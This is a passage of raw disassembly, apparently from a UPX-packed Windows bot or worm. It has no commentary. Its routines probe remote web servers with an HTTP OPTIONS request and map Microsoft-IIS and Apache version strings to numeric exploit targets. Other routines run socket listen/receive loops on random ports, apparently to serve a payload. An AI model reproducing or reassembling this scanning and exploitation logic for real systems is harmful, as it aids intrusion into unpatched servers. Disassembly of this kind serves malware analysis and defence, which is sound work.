		push	[ebp+arg_4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 13h
		push	eax
		call	sub_4105FB
		pop	ecx
		jmp	short loc_4129C5
; ---------------------------------------------------------------------------


loc_4129C3:				; CODE XREF: sub_41294E+34j
		jmp	short loc_41295D
; ---------------------------------------------------------------------------


loc_4129C5:				; CODE XREF: sub_41294E+23j
					; sub_41294E+73j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41294E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129CA	proc near		; CODE XREF: sub_412A3A+16Bp
					; sub_412BC9+15Ap ...

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 2Ah
		push	eax
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412A11
		push	offset aUnknown	; "unknown"
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_412A11:				; CODE XREF: sub_4129CA+32j
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_104]
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset dword_41A1D0
		push	offset dword_41DB88
		call	sub_40D4AB
		add	esp, 18h
		leave
		retn
sub_4129CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A3A	proc near		; CODE XREF: sub_41331E+148p

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_235		= byte ptr -235h
var_222		= dword	ptr -222h
var_20C		= dword	ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	[ebp+arg_4]
		call	sub_412720
		pop	ecx
		push	3Ah
		push	[ebp+arg_0]
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_235]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_20C+3]
		mov	[ebp+var_8], eax
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		and	[ebp+var_4], 0
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------


loc_412A9F:				; CODE XREF: sub_412A3A+8Aj
					; sub_412A3A:loc_412B7Fj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412AA6:				; CODE XREF: sub_412A3A+63j
		cmp	[ebp+var_4], 3Ch
		jnz	short loc_412AB1
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AB1:				; CODE XREF: sub_412A3A+70j
		push	3E8h
		push	[ebp+arg_4]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412AC6
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412AC6:				; CODE XREF: sub_412A3A+88j
		push	200h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0FFFFFFFFh
		jnz	short loc_412AED
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AED:				; CODE XREF: sub_412A3A+ACj
		cmp	[ebp+var_24C], 0
		jz	short loc_412B69
		and	[ebp+var_250], 0
		jmp	short loc_412B0C
; ---------------------------------------------------------------------------


loc_412AFF:				; CODE XREF: sub_412A3A:loc_412B34j
		mov	eax, [ebp+var_250]
		inc	eax
		mov	[ebp+var_250], eax


loc_412B0C:				; CODE XREF: sub_412A3A+C3j
		mov	eax, [ebp+var_250]
		cmp	eax, [ebp+var_24C]
		jnb	short loc_412B36
		mov	eax, [ebp+var_250]
		mov	eax, [ebp+eax+var_20C]
		cmp	eax, [ebp+var_222]
		jnz	short loc_412B34
		jmp	loc_412BC5
; ---------------------------------------------------------------------------


loc_412B34:				; CODE XREF: sub_412A3A+F3j
		jmp	short loc_412AFF
; ---------------------------------------------------------------------------


loc_412B36:				; CODE XREF: sub_412A3A+DEj
		push	3
		mov	eax, [ebp+var_24C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	200h
		push	0
		push	[ebp+var_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_412B7F
; ---------------------------------------------------------------------------


loc_412B69:				; CODE XREF: sub_412A3A+BAj
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_412B7F:				; CODE XREF: sub_412A3A+12Dj
		jmp	loc_412A9F
; ---------------------------------------------------------------------------


loc_412B84:				; CODE XREF: sub_412A3A:loc_412BC5j
		push	[ebp+arg_4]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412B93
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412B93:				; CODE XREF: sub_412A3A+155j
		push	offset dword_41CD14
		push	[ebp+arg_4]
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_0]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	ds:dword_417200	; shutdown
		push	3E8h
		call	ds:dword_41709C	; Sleep
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412BC5:				; CODE XREF: sub_412A3A+F5j
		jmp	short loc_412B84
; ---------------------------------------------------------------------------

locret_412BC7:				; CODE XREF: sub_412A3A+72j
					; sub_412A3A+AEj ...
		leave
		retn
sub_412A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BC9	proc near		; CODE XREF: sub_41331E+165p

var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= byte ptr -84Ch
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 85Ch
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404FE7
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_854], 3Ch
		and	[ebp+var_850], 0
		and	[ebp+var_810], 0


loc_412BFD:				; CODE XREF: sub_412BC9+A9j
		and	[ebp+var_85C], 0
		jmp	short loc_412C13
; ---------------------------------------------------------------------------


loc_412C06:				; CODE XREF: sub_412BC9:loc_412C35j
		mov	eax, [ebp+var_85C]
		inc	eax
		mov	[ebp+var_85C], eax


loc_412C13:				; CODE XREF: sub_412BC9+3Bj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnb	short loc_412C37
		mov	eax, [ebp+var_85C]
		mov	eax, [ebp+eax*4+var_80C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_412C35
		jmp	short loc_412C37
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412BC9+68j
		jmp	short loc_412C06
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412BC9+56j
					; sub_412BC9+6Aj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnz	short loc_412C6E
		cmp	[ebp+var_810], 200h
		jnb	short loc_412C6E
		mov	eax, [ebp+var_85C]
		mov	ecx, [ebp+var_8]
		mov	[ebp+eax*4+var_80C], ecx
		mov	eax, [ebp+var_810]
		inc	eax
		mov	[ebp+var_810], eax


loc_412C6E:				; CODE XREF: sub_412BC9+7Aj
					; sub_412BC9+86j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_412BFD
		lea	eax, [ebp+var_854]
		push	eax
		push	0
		lea	eax, [ebp+var_810]
		push	eax
		push	0
		push	0
		call	ds:dword_41722C	; select
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_412CA5
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	locret_412D4A
; ---------------------------------------------------------------------------


loc_412CA5:				; CODE XREF: sub_412BC9+CCj
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_858], eax
		cmp	[ebp+var_858], 0
		jnz	short loc_412CD1
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CD1:				; CODE XREF: sub_412BC9+FBj
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_858]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412CF9
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CF9:				; CODE XREF: sub_412BC9+123j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412D11
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412D11:				; CODE XREF: sub_412BC9+13Bj
		push	offset dword_41CD18
		push	[ebp+var_8]
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	ds:dword_417200	; shutdown
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

locret_412D4A:				; CODE XREF: sub_412BC9+D7j
					; sub_412BC9+106j ...
		leave
		retn
sub_412BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_41331E:loc_413420p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_41EBF4
		pop	ebp
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D56	proc near		; DATA XREF: sub_412E04+CAo

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jnz	short loc_412D8A
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412D8A:				; CODE XREF: sub_412D56+25j
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_48]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412DAE
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DAE:				; CODE XREF: sub_412D56+49j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412DC8
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DC8:				; CODE XREF: sub_412D56+63j
		push	offset dword_41CD1C
		push	[ebp+var_8]
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	ds:dword_417200	; shutdown
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_412E00:				; CODE XREF: sub_412D56+32j
					; sub_412D56+56j ...
		leave
		retn	4
sub_412D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E04	proc near		; DATA XREF: sub_412F07+B0o

var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AA		= byte ptr -1AAh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B8h
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412E59
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_412F03
; ---------------------------------------------------------------------------


loc_412E59:				; CODE XREF: sub_412E04+40j
		lea	eax, [ebp+var_1B0]
		push	eax
		mov	eax, [ebp+var_1B4]
		push	dword ptr [eax]
		push	offset dword_41CD20
		lea	eax, [ebp+var_1AA]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset dword_41EBF4
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_412E8F:				; CODE XREF: sub_412E04+B7j
					; sub_412E04:loc_412EEAj
		mov	eax, [ebp+var_1B4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_412E9D
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412E9D:				; CODE XREF: sub_412E04+95j
		push	3E8h
		push	[ebp+var_4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1B8], eax
		cmp	[ebp+var_1B8], 0FFFFFFFFh
		jnz	short loc_412EBD
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EBD:				; CODE XREF: sub_412E04+B5j
		cmp	[ebp+var_1B8], 0
		jnz	short loc_412EC8
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412EC8:				; CODE XREF: sub_412E04+C0j
		push	[ebp+var_1B8]
		push	offset sub_412D56
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412EEA
		push	[ebp+var_1B8]
		call	sub_4053B1
		pop	ecx


loc_412EEA:				; CODE XREF: sub_412E04+D8j
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EEC:				; CODE XREF: sub_412E04+97j
					; sub_412E04+C2j
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_412F03:				; CODE XREF: sub_412E04+50j
		leave
		retn	4
sub_412E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F07	proc near		; CODE XREF: sub_40A9CF+F6Ep
					; sub_41349C+2C7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_412F26
		jmp	locret_412FC4
; ---------------------------------------------------------------------------


loc_412F26:				; CODE XREF: sub_412F07+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_412F3A
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_412F4E
; ---------------------------------------------------------------------------


loc_412F3A:				; CODE XREF: sub_412F07+23j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax


loc_412F4E:				; CODE XREF: sub_412F07+31j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_412F63
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_412F77


loc_412F63:				; CODE XREF: sub_412F07+51j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_412F77:				; CODE XREF: sub_412F07+5Aj
		push	0Ah
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	[ebp+var_4]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	offset dword_41CD58
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_412E04
		call	sub_4095A4
		add	esp, 14h

locret_412FC4:				; CODE XREF: sub_412F07+1Aj
		leave
		retn
sub_412F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FC6	proc near		; CODE XREF: UPX0:004168CBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD1:				; CODE XREF: sub_412FC6:loc_413088j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412FD8:				; CODE XREF: sub_412FC6+9j
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	ds:off_41CDAE[eax], 0
		jz	locret_41308D
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ecx, ds:dword_41CDA6[ecx]
		and	ecx, 0FFh
		mov	eax, ds:off_41CDAE[eax]
		sub	eax, ecx
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ds:off_41CDAE[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		and	ds:dword_41CDAA[eax], 0


loc_413024:				; CODE XREF: sub_412FC6+7Ej
					; sub_412FC6+BEj
		call	sub_410422
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ds:dword_41CDA6[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	ds:dword_41CDA6[eax], 0
		jnz	short loc_413046
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413046:				; CODE XREF: sub_412FC6+7Cj
		and	[ebp+var_8], 0
		jmp	short loc_413053
; ---------------------------------------------------------------------------


loc_41304C:				; CODE XREF: sub_412FC6:loc_413086j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_413053:				; CODE XREF: sub_412FC6+84j
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	ds:off_41CDAE[eax], 0
		jz	short loc_413088
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	short loc_413086
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_8]
		imul	ecx, 3Ah
		mov	eax, ds:dword_41CDA6[eax]
		cmp	eax, ds:dword_41CDA6[ecx]
		jnz	short loc_413086
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413086:				; CODE XREF: sub_412FC6+A2j
					; sub_412FC6+BCj
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413088:				; CODE XREF: sub_412FC6+9Aj
		jmp	loc_412FD1
; ---------------------------------------------------------------------------

locret_41308D:				; CODE XREF: sub_412FC6+1Fj
		leave
		retn
sub_412FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308F	proc near		; CODE XREF: sub_41331E+72p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130C4
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130C4:				; CODE XREF: sub_41308F+2Cj
		push	0
		push	800h
		lea	eax, [ebp+var_810]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4130F3
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4130F3
		cmp	[ebp+var_8], 800h
		jnz	short loc_4130FA


loc_4130F3:				; CODE XREF: sub_41308F+53j
					; sub_41308F+59j
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130FA:				; CODE XREF: sub_41308F+62j
		mov	eax, [ebp+var_8]
		and	[ebp+eax+var_810], 0
		and	[ebp+var_4], 0
		push	offset aServer	; "Server:"
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41312C
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_41308F+94j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+var_10]
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413150
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413150:				; CODE XREF: sub_41308F+B8j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413173
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413173:				; CODE XREF: sub_41308F+DBj
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41323C
		and	[ebp+var_818], 0
		and	[ebp+var_814], 0
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 10h
		cmp	[ebp+var_818], 4
		jnz	short loc_4131E9
		cmp	[ebp+var_814], 0
		jnz	short loc_4131E9
		push	4
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4131E9:				; CODE XREF: sub_41308F+147j
					; sub_41308F+150j
		cmp	[ebp+var_818], 5
		jnz	short loc_413203
		cmp	[ebp+var_814], 0
		jnz	short loc_413203
		push	3
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413203:				; CODE XREF: sub_41308F+161j
					; sub_41308F+16Aj
		cmp	[ebp+var_818], 5
		jnz	short loc_41321D
		cmp	[ebp+var_814], 5
		jnz	short loc_41321D
		push	2
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41321D:				; CODE XREF: sub_41308F+17Bj
					; sub_41308F+184j
		cmp	[ebp+var_818], 6
		jnz	short loc_413237
		cmp	[ebp+var_814], 0
		jnz	short loc_413237
		push	1
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413237:				; CODE XREF: sub_41308F+195j
					; sub_41308F+19Ej
		jmp	loc_41331A
; ---------------------------------------------------------------------------


loc_41323C:				; CODE XREF: sub_41308F+10Ej
		cmp	[ebp+var_C], 0
		jz	loc_41331A
		push	6
		push	offset aApache	; "Apache"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41331A
		and	[ebp+var_820], 0
		lea	eax, [ebp+var_820]
		push	eax
		push	offset dword_41CE40
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		push	6
		push	offset dword_41CE38
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_81C], eax
		cmp	[ebp+var_81C], 1
		jnz	short loc_4132BE
		push	7
		push	offset dword_41CE30
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4132BE
		xor	eax, eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132BE:				; CODE XREF: sub_41308F+213j
					; sub_41308F+229j
		cmp	[ebp+var_820], 1
		jnz	short loc_4132D5
		cmp	[ebp+var_81C], 0
		jz	short loc_4132D5
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132D5:				; CODE XREF: sub_41308F+236j
					; sub_41308F+23Fj
		cmp	[ebp+var_820], 1
		jnz	short loc_4132EC
		cmp	[ebp+var_81C], 0
		jnz	short loc_4132EC
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132EC:				; CODE XREF: sub_41308F+24Dj
					; sub_41308F+256j
		cmp	[ebp+var_820], 2
		jnz	short loc_413303
		cmp	[ebp+var_81C], 0
		jz	short loc_413303
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_413303:				; CODE XREF: sub_41308F+264j
					; sub_41308F+26Dj
		cmp	[ebp+var_820], 2
		jnz	short loc_41331A
		cmp	[ebp+var_81C], 0
		jnz	short loc_41331A
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_41331A:				; CODE XREF: sub_41308F:loc_413237j
					; sub_41308F+1B1j ...
		xor	eax, eax

locret_41331C:				; CODE XREF: sub_41308F+30j
					; sub_41308F+66j ...
		leave
		retn
sub_41308F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41331E	proc near		; DATA XREF: sub_41349C+4EBo
					; sub_413CB3+27Co

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		push	[ebp+var_10E]
		call	sub_404457
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413381
		push	[ebp+var_10E]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_413381:				; CODE XREF: sub_41331E+4Ej
		cmp	[ebp+var_112], 0
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_41308F
		pop	ecx
		cmp	[ebp+var_112], eax
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_4133B1:				; CODE XREF: sub_41331E+6Aj
					; sub_41331E+7Ej
		cmp	[ebp+var_8A], 1
		jnz	short loc_4133E0
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_404552
		pop	ecx
		pop	ecx
		push	offset dword_41F018
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_4133E0:				; CODE XREF: sub_41331E+9Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_413420
		push	0Ah
		lea	eax, [ebp+var_6]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


